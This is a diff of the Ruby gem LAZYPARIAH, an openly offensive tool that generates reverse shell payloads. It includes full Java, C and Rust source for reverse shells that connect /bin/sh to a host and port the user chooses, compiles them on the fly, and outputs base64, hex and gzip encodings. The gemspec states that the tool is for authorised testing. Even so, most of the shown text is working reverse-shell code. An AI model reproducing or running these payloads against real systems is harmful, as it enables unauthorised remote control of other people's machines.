+ # Java class reverse shells (compiled on the fly).
247
326
  code = "import java.io.IOException;import java.io.InputStream;import java.io.OutputStream;import java.net.Socket;public class rs {public rs() throws Exception {Process p=new ProcessBuilder(\"/bin/sh\").redirectErrorStream(true).start();Socket s=new Socket(\"#{ARGV[1]}\",#{ARGV[2]});InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()) {while(pi.available()>0) {so.write(pi.read());}while(pe.available()>0) {so.write(pe.read());}while(si.available()>0) {po.write(si.read());}so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;} catch (Exception e) {}}p.destroy();s.close();}}"
248
327
 
249
328
  temp_dir = IO.popen("mktemp -dt lazypariah_XXXXXXXX").read().chomp()
@@ -253,13 +332,24 @@ begin
253
332
 
254
333
  File.open(temp_dir+"/rs.class", "r") do |f|
255
334
  java_payload = f.read()
256
- case ARGV[0]
257
- when "java_class_binary"
258
- print_output(java_payload)
259
- when "java_class_b64"
335
+ if b64_payload
260
336
  java_payload_b64 = Base64.strict_encode64(java_payload)
261
- print_output(java_payload_b64, url_encode=url_encode)
262
- when "java_class_gzip_b64"
337
+ print_output(s: java_payload_b64, url_encode: url_encode, new_line: !arguments[:"no-new-line"])
338
+ elsif hex_payload
339
+ # Hex-encoded java_class payload.
340
+ java_payload_hex = java_payload.unpack("H*")[0]
341
+ print_output(s: java_payload_hex, new_line: !arguments[:"no-new-line"])
342
+ elsif gzip_payload
343
+ # Zlib-compressed java_class payload.
344
+ sio = StringIO.new()
345
+ sio.binmode()
346
+ gz = Zlib::GzipWriter.new(sio)
347
+ gz.write(java_payload)
348
+ gz.close()
349
+ java_payload_gzip = sio.string
350
+ print_output(s: java_payload_gzip, new_line: false)
351
+ elsif gzip_b64_payload
352
+ # Zlib-compressed and base-64-encoded java_class payload.
263
353
  sio = StringIO.new()
264
354
  sio.binmode()
265
355
  gz = Zlib::GzipWriter.new(sio)
@@ -267,12 +357,26 @@ begin
267
357
  gz.close()
268
358
  java_payload_gzip = sio.string
269
359
  java_payload_gzip_b64 = Base64.strict_encode64(java_payload_gzip)
270
- print_output(java_payload_gzip_b64, url_encode=url_encode)
360
+ print_output(s: java_payload_gzip_b64, url_encode: url_encode, new_line: !arguments[:"no-new-line"])
361
+ elsif gzip_hex_payload
362
+ # Zlib-compressed and hex-encoded java_class payload.
363
+ sio = StringIO.new()
364
+ sio.binmode()
365
+ gz = Zlib::GzipWriter.new(sio)
366
+ gz.write(java_payload)
367
+ gz.close()
368
+ java_payload_gzip = sio.string
369
+ java_payload_gzip_hex = java_payload_gzip.unpack("H*")[0]
370
+ print_output(s: java_payload_gzip_hex, new_line: !arguments[:"no-new-line"])
371
+ else
372
+ # Standard java_class payload.
373
+ print_output(s: java_payload, new_line: false)
271
374
  end
272
375
  end
273
376
 
274
377
  system("rm -r #{temp_dir}")
275
- when "c_binary", "c_binary_gzip", "c_binary_b64", "c_binary_gzip_b64", "c_binary_hex", "c_binary_gzip_hex"
378
+ when "c_binary"
379
+ # C binary reverse shells (compiled on the fly).
276
380
  code = "#include <stdio.h>\n#include <sys/socket.h>\n#include <sys/types.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <netinet/in.h>\n#include <arpa/inet.h>\nint main(void){int port = #{ARGV[2]};struct sockaddr_in revsockaddr;int sockt = socket(AF_INET, SOCK_STREAM, 0);revsockaddr.sin_family = AF_INET;revsockaddr.sin_port = htons(port);revsockaddr.sin_addr.s_addr = inet_addr(\"#{ARGV[1]}\");connect(sockt, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr));dup2(sockt, 0);dup2(sockt, 1);dup2(sockt, 2);char * const argv[] = {\"/bin/sh\", NULL};execve(\"/bin/sh\", argv, NULL);\nreturn 0;}"
277
381
 
278
382
  temp_dir = IO.popen("mktemp -dt lazypariah_XXXXXXXX").read().chomp()
@@ -282,24 +386,80 @@ begin
282
386
 
283
387
  File.open(temp_dir+"/rs", "r") do |f|
284
388
  binary_payload = f.read()
285
- case ARGV[0]
286
- when "c_binary"
287
- print_output(binary_payload)
288
- when "c_binary_b64"
389
+ if b64_payload
390
+ # Base-64-encoded c_binary payload.
391
+ binary_payload_b64 = Base64.strict_encode64(binary_payload)
392
+ print_output(s: binary_payload_b64, url_encode: url_encode, new_line: !arguments[:"no-new-line"])
393
+ elsif hex_payload
394
+ # Hex-encoded c_binary payload.
395
+ binary_payload_hex = binary_payload.unpack("H*")[0]
396
+ print_output(s: binary_payload_hex, new_line: !arguments[:"no-new-line"])
397
+ elsif gzip_payload
398
+ # Zlib-compressed c_binary payload.
399
+ sio = StringIO.new()
400
+ sio.binmode()
401
+ gz = Zlib::GzipWriter.new(sio)
402
+ gz.write(binary_payload)
403
+ gz.close()
404
+ binary_payload_gzip = sio.string
405
+ print_output(s: binary_payload_gzip, new_line: false)
406
+ elsif gzip_b64_payload
407
+ # Zlib-compressed and base-64-encoded c_binary payload.
408
+ sio = StringIO.new()
409
+ sio.binmode()
410
+ gz = Zlib::GzipWriter.new(sio)
411
+ gz.write(binary_payload)
412
+ gz.close()
413
+ binary_payload_gzip = sio.string
414
+ binary_payload_gzip_b64 = Base64.strict_encode64(binary_payload_gzip)
415
+ print_output(s: binary_payload_gzip_b64, url_encode: url_encode, new_line: !arguments[:"no-new-line"])
416
+ elsif gzip_hex_payload
417
+ # Zlib-compressed and hex-encoded c_binary payload.
418
+ sio = StringIO.new()
419
+ sio.binmode()
420
+ gz = Zlib::GzipWriter.new(sio)
421
+ gz.write(binary_payload)
422
+ gz.close()
423
+ binary_payload_gzip = sio.string
424
+ binary_payload_gzip_hex = binary_payload_gzip.unpack("H*")[0]
425
+ print_output(s: binary_payload_gzip_hex, new_line: !arguments[:"no-new-line"])
426
+ else
427
+ # Standard c_binary payload.
428
+ print_output(s: binary_payload, new_line: false)
429
+ end
430
+ end
431
+
432
+ system("rm -r #{temp_dir}")
433
+ when "rust_binary"
434
+ # Rust binary reverse shells (compiled on the fly).
435
+ code = "use std::net::TcpStream;use std::os::unix::io::{AsRawFd, FromRawFd};use std::process::{Command, Stdio};fn main() {let lhost: &str = \"#{ARGV[1]}\";let lport: &str = \"#{ARGV[2]}\";let tcp_stream = TcpStream::connect(format!(\"{}:{}\", lhost, lport)).unwrap();let fd = tcp_stream.as_raw_fd();Command::new(\"/bin/sh\").arg(\"-i\").stdin(unsafe {Stdio::from_raw_fd(fd)}).stdout(unsafe {Stdio::from_raw_fd(fd)}).stderr(unsafe {Stdio::from_raw_fd(fd)}).spawn().unwrap().wait().unwrap();}"
436
+
437
+ temp_dir = IO.popen("mktemp -dt lazypariah_XXXXXXXX").read().chomp()
438
+ temp_file = temp_dir+"/rs.rs"
439
+
440
+ system("echo '#{code}' > #{temp_file}; rustc #{temp_file} -o #{temp_dir+"/rs"};")
441
+
442
+ File.open(temp_dir+"/rs", "r") do |f|
443
+ binary_payload = f.read()
444
+ if b64_payload
445
+ # Base-64-encoded rust_binary payload.
289
446
  binary_payload_b64 = Base64.strict_encode64(binary_payload)
290
- print_output(binary_payload_b64, url_encode=url_encode)
291
- when "c_binary_hex"
447
+ print_output(s: binary_payload_b64, url_encode: url_encode, new_line: !arguments[:"no-new-line"])
448
+ elsif hex_payload
449
+ # Hex-encoded rust_binary payload.
292
450
  binary_payload_hex = binary_payload.unpack("H*")[0]
293
- print_output(binary_payload_hex)
294
- when "c_binary_gzip"
451
+ print_output(s: binary_payload_hex, new_line: !arguments[:"no-new-line"])
452
+ elsif gzip_payload
453
+ # Zlib-compressed rust_binary payload.
295
454
  sio = StringIO.new()
296
455
  sio.binmode()
297
456
  gz = Zlib::GzipWriter.new(sio)
298
457
  gz.write(binary_payload)
299
458
  gz.close()
300
459
  binary_payload_gzip = sio.string
301
- print_output(binary_payload_gzip)
302
- when "c_binary_gzip_b64"
460
+ print_output(s: binary_payload_gzip, new_line: false)
461
+ elsif gzip_b64_payload
462
+ # Zlib-compressed and base-64-encoded rust_binary payload.
303
463
  sio = StringIO.new()
304
464
  sio.binmode()
305
465
  gz = Zlib::GzipWriter.new(sio)
@@ -307,8 +467,9 @@ begin
307
467
  gz.close()
308
468
  binary_payload_gzip = sio.string
309
469
  binary_payload_gzip_b64 = Base64.strict_encode64(binary_payload_gzip)
310
- print_output(binary_payload_gzip_b64, url_encode=url_encode)
311
- when "c_binary_gzip_hex"
470
+ print_output(s: binary_payload_gzip_b64, url_encode: url_encode, new_line: !arguments[:"no-new-line"])
471
+ elsif gzip_hex_payload
472
+ # Zlib-compressed and hex-encoded rust_binary payload.
312
473
  sio = StringIO.new()
313
474
  sio.binmode()
314
475
  gz = Zlib::GzipWriter.new(sio)
@@ -316,7 +477,10 @@ begin
316
477
  gz.close()
317
478
  binary_payload_gzip = sio.string
318
479
  binary_payload_gzip_hex = binary_payload_gzip.unpack("H*")[0]
319
- print_output(binary_payload_gzip_hex)
480
+ print_output(s: binary_payload_gzip_hex, new_line: !arguments[:"no-new-line"])
481
+ else
482
+ # Standard rust_binary payload.
483
+ print_output(s: binary_payload, new_line: false)
320
484
  end
321
485
  end
322
486
 
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: lazypariah
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.4.0
4
+ version: 1.3.0
5
5
  platform: ruby
6
6
  authors:
7
7
  - Peter Funnell
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2020-11-24 00:00:00.000000000 Z
11
+ date: 2021-03-23 00:00:00.000000000 Z
12
12
  dependencies: []
13
13
  description: LAZYPARIAH is a simple tool for generating a range of reverse shell payloads
14
14
  on the fly. It is intended to be used only in authorised circumstances by qualified
@@ -42,9 +42,9 @@ required_rubygems_version: !ruby/object:Gem::Requirement
42
42
  - !ruby/object:Gem::Version
43
43
  version: '0'
44
44
  requirements:
45
- - A GNU/Linux or BSD operating system. Optional requirements are GCC (for C payloads)
46
- and OpenJDK (for Java payloads).
47
- rubygems_version: 3.1.2
45
+ - A GNU/Linux or BSD operating system. Optional requirements are GCC (for C payloads),
46
+ OpenJDK (for Java payloads) and Rust (for Rust payloads).
47
+ rubygems_version: 3.2.5
48
48
  signing_key:
49
49
  specification_version: 4
50
50
  summary: A tool for generating reverse shell payloads on the fly.